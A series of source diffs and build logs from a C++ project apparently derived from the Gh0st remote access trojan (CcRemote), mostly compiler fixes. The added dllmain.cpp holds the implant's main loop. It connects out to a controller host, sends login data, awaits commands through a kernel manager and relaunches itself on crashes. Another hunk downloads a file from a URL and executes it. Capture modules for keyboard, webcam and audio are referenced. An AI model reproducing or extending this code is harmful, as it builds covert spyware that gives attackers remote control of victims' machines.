View File

@@ -1,6 +1,7 @@
// VideoCap.cpp: implementation of the CVideoCap class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "VideoCap.h"
//#include "..\DynamicAPI.h"
#include "..\DynamicAPI.h"
@@ -129,8 +130,9 @@ bool CVideoCap::Initialize(int nWidth, int nHeight)
return false;
}
int i = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i = 0; i < 10; i++)
for (i = 0; i < 10; i++)
{
if (capDriverConnect(m_hWndCap, i))
break;

View File

@@ -1,7 +1,7 @@
// VideoManager.cpp: implementation of the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "VideoManager.h"
//////////////////////////////////////////////////////////////////////
@@ -120,7 +120,7 @@ void CVideoManager::ResetScreen(int nWidth, int nHeight)
DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam )
{
static dwLastScreen = GetTickCount();
static DWORD dwLastScreen = GetTickCount();
CVideoManager *pThis = (CVideoManager *)lparam;

View File

@@ -11,7 +11,7 @@
#include "Manager.h"
#include "VideoCap.h"
#include "VideoCodec.h"
#include "..\..\..\common\VideoCodec.h"
class CVideoManager : public CManager
{
public:

View File

@@ -1,3 +1,4 @@
#include "..\pch.h"
#include "install.h"
#include "until.h"
#include <Shlwapi.h>

View File

@@ -148,7 +148,8 @@ DWORD WINAPI Loop_DownManager(LPVOID lparam)
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
si.lpDesktop = "WinSta0\\Default";
char c_lpDesktop[] = "WinSta0\\Default";
si.lpDesktop = TEXT("WinSta0\\Default");
CreateProcess(NULL, lpFileName, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
return true;
@@ -160,7 +161,7 @@ bool UpdateServer(LPCTSTR lpURL)
{
char *lpFileName = NULL;
lpFileName = strrchr(lpURL, '/') + 1;
lpFileName = (char *)(strrchr(lpURL, '/') + 1);
if (lpFileName == NULL)
return false;
if (!http_get(lpURL, lpFileName))

View File

@@ -1,5 +1,162 @@
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "common/KeyboardManager.h"
#include "common/KernelManager.h"
#include "common/login.h"
char g_strSvchostName[MAX_PATH];//服务名
char g_strHost[MAX_PATH];
DWORD g_dwPort;
DWORD g_dwServiceType;
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR,
CONNECT_ERROR,
HEARTBEATTIMEOUT_ERROR
};
DWORD WINAPI main(char *lpServiceName);
//处理异常
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
// 发生异常,重新创建进程
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strSvchostName, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
DWORD WINAPI main(char *lpServiceName)
{
// lpServiceName,在ServiceMain返回后就没有了
char strServiceName[256];
char strKillEvent[50];
HANDLE hInstallMutex = NULL;
//////////////////////////////////////////////////////////////////////////
// Set Window Station
HWINSTA hOldStation = GetProcessWindowStation();
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
if (hWinSta != NULL)
SetProcessWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////
if (CKeyboardManager::g_hInstance != NULL)
{
//抛异常
SetUnhandledExceptionFilter(bad_exception);
lstrcpy(strServiceName, lpServiceName);
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
hInstallMutex = CreateMutex(NULL, true, g_strHost);
//ReConfigService(strServiceName); //--lang--
// 删除安装文件
// DeleteInstallFile(lpServiceName); //--lang--
}
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
SetErrorMode(SEM_FAILCRITICALERRORS);
char *lpszHost = NULL;
DWORD dwPort = 80;
char *lpszProxyHost = NULL;
DWORD dwProxyPort = 0;
char *lpszProxyUser = NULL;
char *lpszProxyPass = NULL;
HANDLE hEvent = NULL;
//---这里声明了一个 CClientSocket类
CClientSocket socketClient;
BYTE bBreakError = NOT_CONNECT; // 断开连接的原因,初始化为还没有连接
while (1)
{
// 如果不是心跳超时不用再sleep两分钟
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
// 2分钟断线重连, 为了尽快响应killevent
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
break;
}
// 改一下
Sleep(60);
}
}
//上线地址
lpszHost = g_strHost;
dwPort = g_dwPort;
if (lpszProxyHost != NULL)
socketClient.setGlobalProxyOption(PROXY_SOCKS_VER5, lpszProxyHost, dwProxyPort, lpszProxyUser, lpszProxyPass);
else
socketClient.setGlobalProxyOption();
DWORD dwTickCount = GetTickCount();
//---调用Connect函数向主控端发起连接
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环
continue;
}
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
//////////////////////////////////////////////////////////////////////////
// 等待控制端发送激活命令超时为10秒重新连接,以防连接错误
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒后还没有收到控制端发来的激活命令说明对方不是控制端重新连接
if (!manager.IsActived())
continue;
//////////////////////////////////////////////////////////////////////////
DWORD dwIOCPEvent;
dwTickCount = GetTickCount();
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
Sleep(500);
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}
#ifdef _DLL
//////////////////////////////////////////////////////////////////////////
// Restor WindowStation and Desktop
// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
// SetProcessWindowStation(hOldStation);
// CloseWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////
#endif
SetErrorMode(0);
ReleaseMutex(hInstallMutex);
CloseHandle(hInstallMutex);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,

Binary file not shown.

View File

@@ -1,27 +1,27 @@
 pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(147): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(152): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(292): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(309): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(147): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(152): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(293): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(310): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
CSettingDlg.cpp
CpuUsage.cpp
IniFile.cpp
g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
TrueColorToolBar.cpp
Buffer.cpp
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(134): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(719): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(768): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(914): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码
All 405 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Release\CcRemote.exe
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\Release\CcRemote.exe

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|G:\CcRemote\CcRemote\CcRemote\|
Release|Win32|F:\myapp\CcRemote\CcRemote\|

Binary file not shown.

View File

@@ -1,7 +1,7 @@
// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include "..\CcMainDll\CcMainDll\pch.h"
#include "Audio.h"
//////////////////////////////////////////////////////////////////////
@@ -143,8 +143,8 @@ bool CAudio::InitializeWaveOut()
if (!waveOutGetNumDevs())
return false;
for (int i = 0; i < 2; i++)
int i = 0;
for (i = 0; i < 2; i++)
memset(m_lpOutAudioData[i], 0, m_nBufferLength);
MMRESULT mmResult;

View File

@@ -60,9 +60,9 @@ public:
ci.cbSize = sizeof(CURSORINFO);
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
return -1;
int i = 0;
for (int i = 0; i < MAX_CURSOR_TYPE; i++)
for (i = 0; i < MAX_CURSOR_TYPE; i++)
{
if (ci.hCursor == m_CursorHandleArray[i])
break;